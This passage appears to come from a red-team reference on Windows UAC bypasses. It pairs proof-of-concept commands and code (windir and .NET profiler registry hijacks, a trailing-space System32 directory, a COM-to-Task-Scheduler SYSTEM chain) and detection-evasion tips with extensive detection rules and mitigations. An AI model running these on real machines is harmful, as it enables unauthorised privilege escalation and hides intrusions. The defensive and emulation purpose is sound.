- **Sysmon 7 (image load) + API telemetry:** the *next* event is a Microsoft-signed auto-elevated binary loading the planted DLL from a non-standard location (section 3.5); ETW/API monitors see `CoGetObject` with the FileOperation CLSID and `IFileOperation::CopyItem` destinations outside user-writable paths.
|
||||||
|
- **Reduce noise:** stage the source DLL on disk briefly and delete after `PerformOperations`; reuse the destination binary's *real* expected DLL name so image-load allow-lists match.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- *Always notify* blocks the silent bind ([4]).
|
||||||
|
- WDAC policy blocking unsigned DLL loads by elevated Microsoft binaries; enable the `PreferSystem32Images` mitigation; alert on System32 writes by non-trusted installers ([44]).
|
||||||
|
|
||||||
|
### 3.4 ElevatedFactoryServer (fileless COM to Task Scheduler to SYSTEM)
|
||||||
|
|
||||||
|
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1053.005](https://attack.mitre.org/techniques/T1053/005/) · **Since:** zcgonvh, [UACME #74] · **Affects:** Windows 8.1 9600+, UNFIXED ([1], [19])
|
||||||
|
|
||||||
|
The crown jewel of the family: a fully fileless chain that yields **SYSTEM**, not just High IL. The auto-approved class `ElevatedFactoryServer` (`{A6BFEA43-501F-456F-A845-983D3AD7B8F0}`) exposes `IElevatedFactoryServer` (IID `{804bd226-af47-4d71-b492-443a57610b08}`) with a `ServerCreateInstance` method that instantiates *arbitrary COM classes* inside the elevated surrogate — including the Task Scheduler's `TaskScheduler` class (`{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}`), whose `ITaskService` then registers a task running as SYSTEM ([19]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. `CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ...)` → elevated `IElevatedFactoryServer`. It is an `InProcServer32` class, so activation runs inside a surrogate/`dllhost` governed by the `LaunchPermission`/`AccessPermission` security descriptors on `HKLM\SOFTWARE\Classes\AppID\{A6BFEA43-...}` ([19]).
|
||||||
|
2. Call `ServerCreateInstance({0f87369f-a4e5-4cfc-bd3e-73e6154572dd} /* CLSID TaskScheduler */, IID_IUnknown, ...)` → an elevated `ITaskService` proxy.
|
||||||
|
3. `ITaskService::Connect`, then register a task whose XML sets `<Principal><UserId>SYSTEM</UserId><RunLevel>HighestAvailable</RunLevel>` with an arbitrary command action.
|
||||||
|
4. Run the task (or set an immediate trigger) → the command executes as `NT AUTHORITY\SYSTEM`. Entirely in-memory/fileless.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Medium-IL process of a protected administrator |
|
||||||
|
| OS/build | Windows 8.1 9600+ per UACME (verify in lab on latest builds) |
|
||||||
|
| Config | Default UAC policy; class on `COMAutoApprovalList`; AppID SDs at defaults |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// (illustrative sketch — vtable order per zcgonvh's write-up ([19]); verify against your build)
|
||||||
|
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
|
||||||
|
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
|
||||||
|
IElevatedFactoryServer* pefs = NULL;
|
||||||
|
CoGetObject(L"Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}",
|
||||||
|
&bo, IID_IElevatedFactoryServer /* {804bd226-af47-4d71-b492-443a57610b08} */, (void**)&pefs);
|
||||||
|
// elevated ITaskService straight out of the factory — no file ever touches disk
|
||||||
|
ITaskService* pts = NULL;
|
||||||
|
pefs->ServerCreateInstance(CLSID_TaskScheduler /* {0f87369f-a4e5-4cfc-bd3e-73e6154572dd} */,
|
||||||
|
IID_IUnknown, (IUnknown**)&pts);
|
||||||
|
pts->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
|
||||||
|
// ... IRegisteredTask with <UserId>SYSTEM</UserId><RunLevel>HighestAvailable</RunLevel> -> SYSTEM shell
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 1:** `svchost.exe` (Schedule service) spawning the task action as SYSTEM — parent is Task Scheduler, not your process; correlate with a preceding silent elevation (no `consent.exe`).
|
||||||
|
- **Task registration + strings:** Security/Sysmon task-scheduler events for a new SYSTEM-principal task registered outside admin tooling; `Elevation:Administrator!new:` plus CLSIDs `{A6BFEA43-501F-456F-A845-983D3AD7B8F0}` / `{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}` in binaries or memory.
|
||||||
|
- **Reduce noise:** use a one-shot time trigger and delete the task immediately; name it under `\Microsoft\Windows\`-looking paths; no dropped binary means Sysmon 11 stays quiet.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- *Always notify* policy; WDAC restricting which processes may activate auto-approved classes; alert on `dllhost.exe`/`svchost.exe` hosting unusual class activations followed by task registration ([4], [44]).
|
||||||
|
|
||||||
|
### 3.5 DLL hijacking of auto-elevated binaries
|
||||||
|
|
||||||
|
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1574.001/.002](https://attack.mitre.org/techniques/T1574/001/) · **Since:** Windows 7 era ([UACME #1] onward) · **Affects:** per-binary, table below
|
||||||
|
|
||||||
|
The largest historical family. The pattern: find a Microsoft-signed auto-elevate EXE that imports a DLL **not** in KnownDlls by an unqualified name, then drop a same-named DLL where the loader searches first — the application directory, an SxS `DotLocal` redirection, or the WOW64 logger path. The elevated EXE loads the attacker's DLL and executes it at High IL. Because the binary lives in a protected directory, the plant usually needs a privileged write: `IFileOperation` (section 3.3), a mock trusted directory (section 3.6), or a per-user environment trick ([1]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Select a target from the auto-elevate inventory and identify its hijackable import (unqualified name, absent from KnownDlls).
|
||||||
|
2. Build a proxy/payload DLL exporting the expected names (forwarding to the real DLL where stability matters).
|
||||||
|
3. Plant the DLL via a privileged-copy primitive (section 3.3/3.6) or a user-writable path that outranks System32 for this binary.
|
||||||
|
4. Launch the auto-elevated EXE; the loader resolves the attacker DLL inside the High-IL process.
|
||||||
|
|
||||||
|
Representative targets ([1] unless noted):
|
||||||
|
|
||||||
|
| Binary | Hijacked DLL | UACME | Status |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `sysprep.exe` | `cryptbase.dll`, `dbgcore.dll`, `unbcl.dll`, `Actionqueue.dll`, `unattend.dll`, `ShCore.dll`, `comctl32.dll` (SxS .local) | #1, #12, #17, #8, #57, #2, #21 | fixed variously 9600–16232 |
|
||||||
|
| `cliconfg.exe` | `ntwdblib.dll` | #7/#15 | fixed RS1 — used by Operation Honeybee |
|
||||||
|
| `migwiz.exe`/`mcx2prov.exe` via `wusa.exe /extract` | `cryptbase`/`cryptsp`/`wdscore` | #6 | fixed TH1 (WUSA `/extract` removed); ShimRat hijacked `cryptbase.dll` in migwiz |
|
||||||
|
| `consent.exe` itself | `comctl32.dll` DotLocal | #22 | fixed only in Win11 24H2/25H2 |
|
||||||
|
| `dccw.exe` | `GdiPlus.dll` via SxS + NTFS junction | #36/#37 | SandboxEscaper race, fixed 24H2 |
|
||||||
|
| `mmc.exe` | `atl.dll` | #77 | UNFIXED |
|
||||||
|
| `pkgmgr.exe` | `DismCore.dll` | #23 | UNFIXED since Win7 |
|
||||||
|
| `msdt.exe` (SysWOW64)/`sdiagnhost.exe` | `BluetoothDiagnosticUtil.dll` | #72 | Emeric Nasi, UNFIXED ([17]) |
|
||||||
|
| `iscsicpl.exe` (SysWOW64) | `iscsiexe.dll` | #76 | UNFIXED |
|
||||||
|
| `SystemPropertiesAdvanced.exe` | `srrstr.dll` via `%LocalAppData%\Microsoft\WindowsApps` | #54 | egre55, fixed 19H1 ([42]) |
|
||||||
|
| `taskhostw.exe` | `pcadm.dll` / `PerformanceTraceHandler.dll` | #69 / #80 | fixed 24H2 / fixed 25H2 (Win11 26100→) |
|
||||||
|
| any elevated 32-bit EXE | `wow64log.dll` (WOW64 logger) | #30 | fixed 24H2/25H2 |
|
||||||
|
|
||||||
|
Two loader-agnostic variants widen the surface:
|
||||||
|
|
||||||
|
- **.NET profiler variant** [UACME #39, Stefan Kanthak, UNFIXED]: set per-user environment `COR_ENABLE_PROFILING=1`, `COR_PROFILER={GUID}`, `COR_PROFILER_PATH=C:\...\evil.dll` under `HKCU\Environment`, then launch any auto-elevated .NET process (e.g. `mmc.exe`) — the CLR loads the "profiler" DLL elevated ([18], [21]).
|
||||||
|
- **AppVerifier/IFEO variant** [#9]: an IFEO `VerifierDlls` value causes the attacker DLL to be loaded by elevated processes.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Medium IL; plus a privileged write primitive unless the load path is user-writable (#39, #54 patterns) |
|
||||||
|
| OS/build | Per table; several entries remain UNFIXED per UACME v3.7.x (verify in lab) |
|
||||||
|
| Payload | Architecture-matched proxy DLL; KnownDlls names are not hijackable |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# .NET profiler variant — fully per-user, no privileged copy needed ([18], [21])
|
||||||
|
reg add "HKCU\Environment" /v COR_ENABLE_PROFILING /t REG_SZ /d 1 /f
|
||||||
|
reg add "HKCU\Environment" /v COR_PROFILER /t REG_SZ /d "{11111111-1111-1111-1111-111111111111}" /f # any GUID; env-driven (illustrative)
|
||||||
|
reg add "HKCU\Environment" /v COR_PROFILER_PATH /t REG_SZ /d "C:\Users\%USERNAME%\evil.dll" /f
|
||||||
|
C:\Windows\System32\mmc.exe # auto-elevated .NET host -> CLR loads evil.dll at High IL
|
||||||
|
# cleanup: reg delete "HKCU\Environment" /v COR_ENABLE_PROFILING /f (and the other two values)
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 7 (image load):** Microsoft-signed elevated binaries loading the watchlist DLL names (section 5) from outside `System32`/KnownDlls — the highest-fidelity signal for this family.
|
||||||
|
- **Sysmon 13:** `HKCU\Environment` writes of `COR_PROFILER_PATH`/`COR_ENABLE_PROFILING` (Splunk ".NET Profiler UAC bypass" ([34])) and IFEO `VerifierDlls` values.
|
||||||
|
- **Reduce noise:** forward all exports faithfully so the host behaves normally; prefer still-UNFIXED targets (`mmc.exe`/`atl.dll`, `pkgmgr.exe`/`DismCore.dll`) whose load events have legitimate look-alikes — but expect DLL-plant telemetry regardless.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- WDAC/AppLocker DLL rules for elevated Microsoft binaries; `PreferSystem32Images`; audit IFEO keys and `HKCU\Environment`; keep builds current — this family dies by hardening wave ([44]).
|
||||||
|
|
||||||
|
### 3.6 Mock trusted directories (path-normalization desync)
|
||||||
|
|
||||||
|
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1036](https://attack.mitre.org/techniques/T1036/) · **Since:** David Wells / Tenable, 2020, [UACME #52] · **Affects:** Windows 7 7600 → FIXED in Win11 24H2/25H2 via AppInfo changes ([1], [14])
|
||||||
|
|
||||||
|
A trust-check desync: AppInfo validates the trusted-directory requirement against the `GetLongPathNameW`-normalized path with `RtlPrefixUnicodeString`, but creates the process with the **original** path. A directory named `C:\Windows \System32` (trailing space) normalizes to `C:\Windows\System32` for the trust check while the loader uses the real, attacker-controlled directory — defeating the "secure location" pillar of auto-elevation ([14]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Create the mock directory — impossible from Explorer, trivial with the `\\?\` prefix: `md "\\?\C:\Windows \System32"`.
|
||||||
|
2. Copy an auto-elevate EXE inside (Wells used `easinvoker.exe`, the Exchange ActiveSync Invoker) plus its hijackable DLL (`netutils.dll`).
|
||||||
|
3. Launch `C:\Windows \System32\easinvoker.exe`. The trust check sees the space-stripped `C:\Windows\System32\...` and auto-elevates; the process loads the attacker DLL at High IL.
|
||||||
|
4. In the wild: DBatLoader/ModiLoader dropping Remcos RAT/Formbook (SentinelOne/Zscaler 2023, adding `C:\Users` to Defender exclusions) ([28], [30]); Fickle Stealer with a fake `WmiMgmt.msc` plus MMC `en-US` localization lookup ([29]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Medium IL with rights to create `C:\Windows \` (admin user — you have it); an auto-elevate binary + hijackable DLL pair |
|
||||||
|
| OS/build | Win7 7600 → pre-24H2; FIXED in Win11 24H2/25H2 ([1]) |
|
||||||
|
| Config | Default UAC policy |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Mock trusted directory chain ([14])
|
||||||
|
md "\\?\C:\Windows \System32"
|
||||||
|
copy C:\Windows\System32\easinvoker.exe "C:\Windows \System32\"
|
||||||
|
copy C:\Users\%USERNAME%\netutils.dll "C:\Windows \System32\" # proxy DLL (illustrative)
|
||||||
|
& "C:\Windows \System32\easinvoker.exe" # auto-elevates; loads netutils.dll High IL
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 1/11:** any execution or file-create path containing trailing spaces — especially `\Windows \` — is a near-perfect signal (SentinelOne recommendation ([28]); Sigma "TrustedPath UAC Bypass Pattern" ([37])). There is no meaningful noise reduction: the trailing-space path *is* the signature, so treat this family as burned on monitored estates.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Patch to Win11 24H2/25H2+ (AppInfo normalization fixed); alert on `\\?\`-prefixed directory creation under drive roots ([1], [28]).
|
||||||
|
|
||||||
|
### 3.7 SilentCleanup and scheduled-task environment abuse
|
||||||
|
|
||||||
|
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1053.005](https://attack.mitre.org/techniques/T1053/005/) · **Since:** enigma0x3, Jul 22 2016; generalized by James Forshaw, May 2017 · **Affects:** [UACME #34] listed UNFIXED and AlwaysNotify-compatible — but field reports show the SilentCleanup-specific vector mitigated on later Win10 builds; version-dependent (verify in lab) ([1], [9], [13])
|
||||||
|
|
||||||
|
The scheduled-task branch of environment abuse. The `SilentCleanup` Disk Cleanup task runs "with highest privileges" and its action contains `%windir%\system32\cleanmgr.exe`. Because scheduled-task actions expand environment variables in the **user** context, a per-user `windir` value under `HKCU\Environment` overrides the machine variable — and the task expands your string at High IL ([9], [13]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. `reg add hkcu\Environment /v windir /d "cmd.exe /c <payload> & rem "` — the trailing `& rem ` comments out the remainder of the expanded action line.
|
||||||
|
2. `schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I`.
|
||||||
|
3. Task Scheduler expands `%windir%\system32\cleanmgr.exe ...` in the user context at High IL → the payload runs elevated; the legitimate `cleanmgr` path is commented away.
|
||||||
|
4. Restore the `windir` value for cleanup.
|
||||||
|
|
||||||
|
Related environment/scheduled-task vectors from the catalog: the DiskCleanup `dismhost` race — cleanmgr copies `dismhost.exe` + DLLs to `%TEMP%\{GUID}` and you race to overwrite `LogProvider.dll` before the High-IL process loads it (#26, Win10 10240 → fixed RS2 15031); volatile per-user `SystemDirectory` overrides (#44, bytecode77, fixed RS3 16299); `clipup.exe` + `IEditionUpgradeManager` `%windir%` (#58, fixed 24H2); the `RequestTrace` scheduled task (#80); and `QuickAssist.exe` `EmbeddedBrowserWebView.dll` + env/UIPI combo (#81, Win10 19041+, AlwaysNotify-compatible, UNFIXED) ([1]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Medium IL; `HKCU\Environment` writable (always) |
|
||||||
|
| OS/build | Version-dependent — test against the exact target build (verify in lab) |
|
||||||
|
| Config | Task present (default); AlwaysNotify-compatible per UACME (#34) |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# SilentCleanup windir hijack ([9], [13])
|
||||||
|
reg add hkcu\Environment /v windir /d "cmd.exe /c C:\path\payload.exe & rem " /f
|
||||||
|
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
|
||||||
|
# cleanup
|
||||||
|
reg delete hkcu\Environment /v windir /f
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 13:** `HKCU\Environment` writes of `windir` (a value that essentially never legitimately exists per-user) — pair with `COR_PROFILER_PATH` hunting ([34]).
|
||||||
|
- **Sysmon 1:** `schtasks.exe /Run` for `SilentCleanup` followed by a High-IL `cmd.exe`/payload spawned under Task Scheduler rather than `cleanmgr.exe`. Reduce noise with single-shot execution and immediate value deletion; name the payload like a maintenance binary.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Alert on per-user `windir`; WDAC child-process rules for Task Scheduler–spawned interactive tools; note *Always notify* does **not** reliably kill this family ([4]).
|
||||||
|
|
||||||
|
### 3.8 Token manipulation and AppInfo protocol abuse
|
||||||
|
|
||||||
|
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1134.001/.002](https://attack.mitre.org/techniques/T1134/001/) · **Since:** James Forshaw / CIA-derived / hakril / antonioCoco & splintercod3 · **Affects:** per variant below ([1])
|
||||||
|
|
||||||
|
Instead of tricking an auto-elevated binary, these variants attack the token model or the AppInfo protocol itself. Four documented variants:
|
||||||
|
|
||||||
|
1. **Token modification** [UACME #35, "CIA & James Forshaw"; Win7 → FIXED RS5 17686 by an added `SeTokenCanImpersonate` check in `ntoskrnl`]: duplicate the filtered token and flip it back to full via `NtSetInformationToken`-style manipulation, then spawn the elevated process. AlwaysNotify-compatible while it lived.
|
||||||
|
2. **SSPI datagram contexts** [#78, antonioCoco/splintercod3; requires a non-blank password; partially patched ~Win10 19041/2024]: coerce a local elevated context through SSPI datagram RPC — the technique class KONNI used to bypass UAC even at "Always Notify" ([20]).
|
||||||
|
3. **`RAiLaunchAdminProcess` + DebugObject** [#59, James Forshaw; Win7 7600+, UNFIXED]: abuse AppInfo's ALPC launch path (interface `{201ef99a-7fa0-444c-9399-19ba84f12a1a}`, see ([7])) with a debug object to inherit an elevated process ([1]).
|
||||||
|
4. **APPINFO command-line spoofing** [#38, Clement Rouault "hakril"; Win7+, UNFIXED]: craft a process whose path spoof satisfies AppInfo's whitelist parsing (`mmc.exe` + trailing arguments), so AppInfo itself launches attacker content elevated ([24]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
The shared skeleton: obtain or forge what AppInfo/NT would only grant after consent — a full token (variant 1), an elevated logon context (variant 2), or AppInfo's own launch (variants 3–4) — then start the payload with it. No shell association, no DLL, no file copy; the abuse lives in token and protocol semantics.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Medium IL protected admin; SSPI variant also needs the account's non-blank password |
|
||||||
|
| OS/build | #35 fixed RS5 17686; #78 partially patched ~19041/2024; #59/#38 UNFIXED per UACME (verify in lab) |
|
||||||
|
| Tooling | Custom code; reference implementations in UACME source ([1]) |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# (illustrative) Lab validation only: inspect your own elevation state before/after any variant
|
||||||
|
whoami /groups | findstr /i "S-1-16" # 8192 = Medium (filtered), 12288 = High, 16384 = System
|
||||||
|
```
|
||||||
|
|
||||||
|
For the weaponized implementations, read UACME methods 35, 38, 59, and 78 in the Akagi source ([1]) — reproducing them faithfully is a reverse-engineering exercise, not a copy-paste exercise.
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon 10 (process access):** handle/token duplication into known UAC-bypass binaries (`fodhelper`, `eventvwr`, `computerdefaults`, `sdclt`, `slui`, `mmc`, `wsreset`, `pkgmgr`) — Splunk "Windows Handle Duplication in Known UAC-Bypass Binaries" ([35]).
|
||||||
|
- **API telemetry:** `NtSetInformationToken`, SSPI datagram RPC patterns, and elevation events with no `consent.exe` on the wire. These variants produce almost no registry/file artifacts — their footprint is API-call-shaped, so they survive registry-centric detections but light up ETW/API monitors.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Patch currency (RS5+ killed #35; 2024 hardening narrowed #78); Credential Guard-adjacent hygiene (no blank passwords); ETW-based API monitoring on admin workstations ([4], [44]).
|
||||||
|
|
||||||
|
### 3.9 CVE-2019-1388 (the certificate dialog that got a CVE)
|
||||||
|
|
||||||
|
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) · **Since:** patched Nov 12, 2019; CISA KEV since Apr 2023; CWE-269 · **Affects:** unpatched Win7 SP1 → Win10 1709, Server 2008R2 → 2019 ([25], [27])
|
||||||
|
|
||||||
|
The exception that proves the "not a boundary" rule: the one UAC-dialog UI flaw Microsoft serviced. `consent.exe` runs as SYSTEM, and its "Show information about the publisher's certificate" dialog rendered a **live "Issued by" hyperlink** — a UI object in a SYSTEM process that an unelevated user could click ([25]).
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Launch any unsigned application with `runas` to trigger the consent dialog.
|
||||||
|
2. "Show more details" → "Show information about the publisher's certificate".
|
||||||
|
3. Click the issuer URL hyperlink → a browser opens in the **elevated (SYSTEM)** context.
|
||||||
|
4. File → Save As → in the dialog address bar type `C:\Windows\System32\cmd.exe` → SYSTEM shell.
|
||||||
|
5. Public PoC: nobodyatall648's write-up ([26]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Interactive session; an unsigned binary to launch |
|
||||||
|
| OS/build | Unpatched Win7 SP1 → Win10 1709 / Server 2008R2 → 2019 (patched Nov 12, 2019) |
|
||||||
|
| Config | Consent dialog enabled (any policy that prompts) |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```text
|
||||||
|
1. Launch any unsigned app elevated (right-click > Run as administrator) -> consent.exe dialog (illustrative)
|
||||||
|
2. "Show more details" > "Show information about the publisher's certificate"
|
||||||
|
3. Click the "Issued by" hyperlink -> browser opens as SYSTEM
|
||||||
|
4. File > Save As > address bar: C:\Windows\System32\cmd.exe -> SYSTEM shell ([26])
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Lineage:** `consent.exe` spawning a browser, which spawns `cmd.exe`, is anomalous and trivially detectable — a legacy-estate canary. No noise reduction is possible: the chain is interactive, GUI-bound, and only relevant on unpatched hosts.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Apply the November 2019 patches; inventory unpatched 2008R2/Win7 estates (KEV-listed, actively exploited) ([25], [27]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Tooling: UACME, Akagi, and validation frameworks
|
||||||
|
|
||||||
|
**UACME** (hfiref0x) is the canonical reference implementation and the de-facto method registry for this entire chapter: 82 numbered methods, each implemented as a self-contained `ucm*Method` module in the **Akagi** source, with the auto-approved elevated-interface definitions collected in `comsup.h` ([1]).
|
||||||
|
|
||||||
|
How to read the method list ([1]):
|
||||||
|
|
||||||
|
- **Numbering is the common language.** `[UACME #33]` means "fodhelper `ms-settings` hijack" everywhere — in this chapter, in detection content, in threat reports. When a report says "CMSTPLUA," practitioners translate to #41.
|
||||||
|
- **Each entry records the vector, the author/source, the affected builds, and the "fixed in" build when one exists.** Treat "fixed in" as the first build where Microsoft or silent hardening broke the method; methods without it are listed unfixed.
|
||||||
|
- **Families cluster by number:** #1–#30 are dominated by DLL hijacks armed via `IFileOperation`; #33–#62 by registry/COM-interface vectors; #63+ by later elevated-interface discoveries (#82, `UICleanmgrAdminHelper`/`UICleanmgrHelper` via `SystemSettingsAdminFlows.exe`, Win10 19041+, is the newest as of v3.7.0).
|
||||||
|
- **Akagi runs a method by number** for lab validation (e.g. `Akagi64.exe 33`), which makes UACME the fastest way to test "does method N survive on build X?" — the exact question that matters pre-engagement.
|
||||||
|
|
||||||
|
> **Warning:** "Unfixed" is **version-dependent**. UACME marks items unfixed as of v3.7.x (2026), but independent testers report some listed-unfixed methods (fodhelper, SilentCleanup, mock dirs pre-24H2) behaving inconsistently across 22H2–25H2 due to silent hardening and AV/EDR interference. Treat "unfixed" as "UACME-listed unfixed," not a guarantee on a specific patched build — always validate with Akagi on a VM snapshotted to the target's exact build before relying on a method.
|
||||||
|
|
||||||
|
**Validation and adversary-emulation tooling:**
|
||||||
|
|
||||||
|
| Tool | Role |
|
||||||
|
|---|---|
|
||||||
|
| UACME / Akagi ([1]) | Reference implementations of all 82 methods; red-team ranges and build-compat testing |
|
||||||
|
| Atomic Red Team T1548.002 ([31]) | Reproducible per-technique tests: fodhelper, eventvwr, sdclt, WSReset (#23), SilentCleanup, CMSTPLUA, .NET profiler — built for detection validation |
|
||||||
|
| Metasploit `bypassuac_eventvwr` ([38]) | Legacy eventvwr module (M. Nelson, M. Graeber, OJ Reeves) — useful for legacy estates |
|
||||||
|
| Sigma rules ([37]) | Off-the-shelf `registry_set` / `proc_creation` coverage per family, for baseline detections |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Detection and hunting
|
||||||
|
|
||||||
|
**Telemetry sources** (MITRE data sources: Process Creation, Windows Registry Key Creation/Modification, Module Load, Process Metadata — integrity level, OS API Execution such as `CoGetObject`/`NtSetInformationToken`):
|
||||||
|
|
||||||
|
| Source | What it catches here |
|
||||||
|
|---|---|
|
||||||
|
| Sysmon EID 1 (process create, `IntegrityLevel` + `ParentImage`) | High-IL children of auto-elevate binaries; silent elevation lineage |
|
||||||
|
| Sysmon EID 7 (image load) | Watchlist DLLs loaded from non-System32 paths by elevated MS-signed binaries |
|
||||||
|
| Sysmon EID 10 (process access) | Handle/token duplication into known bypass binaries ([35]) |
|
||||||
|
| Sysmon EID 11 (file create) | System32 writes by Medium-IL processes (IFileOperation); mock dirs with trailing spaces; `%TEMP%\{GUID}\dismhost` staging |
|
||||||
|
| Sysmon EID 12/13 (registry key/value) | Every IOC key below ([32], [33], [34], [37]) |
|
||||||
|
| Security 4688 (+command line), 4657/4663; ETW `Microsoft-Windows-Kernel-Process` | Native-audit equivalents where Sysmon is absent; token/integrity transitions |
|
||||||
|
|
||||||
|
**Registry IOC table** (writes = high-fidelity signal):
|
||||||
|
|
||||||
|
| Key / value | Technique |
|
||||||
|
|---|---|
|
||||||
|
| `HKCU\Software\Classes\ms-settings\Shell\Open\command` (`(Default)`, `DelegateExecute`) | fodhelper / computerdefaults / slui-family |
|
||||||
|
| `HKCU\Software\Classes\mscfile\shell\open\command` | eventvwr |
|
||||||
|
| `HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` | sdclt (legacy) |
|
||||||
|
| `HKCU\Software\Classes\Folder\shell\open\command` | sdclt v2/v3 |
|
||||||
|
| `HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command` | WSReset |
|
||||||
|
| `HKCU\Software\Classes\CLSID\{...}` (`InprocServer32`/handler redirects) | COM handler hijack |
|
||||||
|
| `HKCU\Environment` (`windir`, `COR_ENABLE_PROFILING`, `COR_PROFILER`, `COR_PROFILER_PATH`) | SilentCleanup / .NET profiler |
|
||||||
|
| `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System` (`EnableLUA`, `ConsentPromptBehaviorAdmin`→0, `PromptOnSecureDesktop`→0) | UAC weakening (needs existing admin — post-exploitation signal) |
|
||||||
|
| `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe>` (`VerifierDlls`) | AppVerifier/IFEO variant |
|
||||||
|
| `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList` | (reference/defense) tampering with the silent-elevation allow-list |
|
||||||
|
|
||||||
|
**CLSID/IID watchlist:** `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` (CMSTPLUA); IID `{6EDD6D74-C007-4E75-B76A-E5740995E24C}` (ICMLuaUtil); `{3AD05575-8857-4850-9277-11B85BDB8E09}` (FileOperation); `{A6BFEA43-501F-456F-A845-983D3AD7B8F0}` (ElevatedFactoryServer); IID `{804bd226-af47-4d71-b492-443a57610b08}` (IElevatedFactoryServer); `{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}` (TaskScheduler); and the string `Elevation:Administrator!new:` — often stored reversed or XORed in malware.
|
||||||
|
|
||||||
|
**Auto-elevate binaries commonly abused:** `fodhelper`, `computerdefaults`, `eventvwr`, `sdclt`, `wsreset`, `slui`, `changepk`, `mmc`, `osk`, `msconfig`, `colorcpl`/`dccw`, `sysprep`, `cliconfg`, `migwiz`, `mcx2prov`, `winsat`, `pkgmgr`, `msdt`, `sdiagnhost`, `iscsicpl`, `easinvoker`, `credwiz`, `inetmgr`, `BitlockerWizardElev`, `TpmInit`, `clipup`, `taskhostw`, `QuickAssist`, `SystemSettingsAdminFlows`, `CompMgmtLauncher` (legacy), `wusa`, `consent`, `rstrui`, `recdisc`, `ieinstal`.
|
||||||
|
|
||||||
|
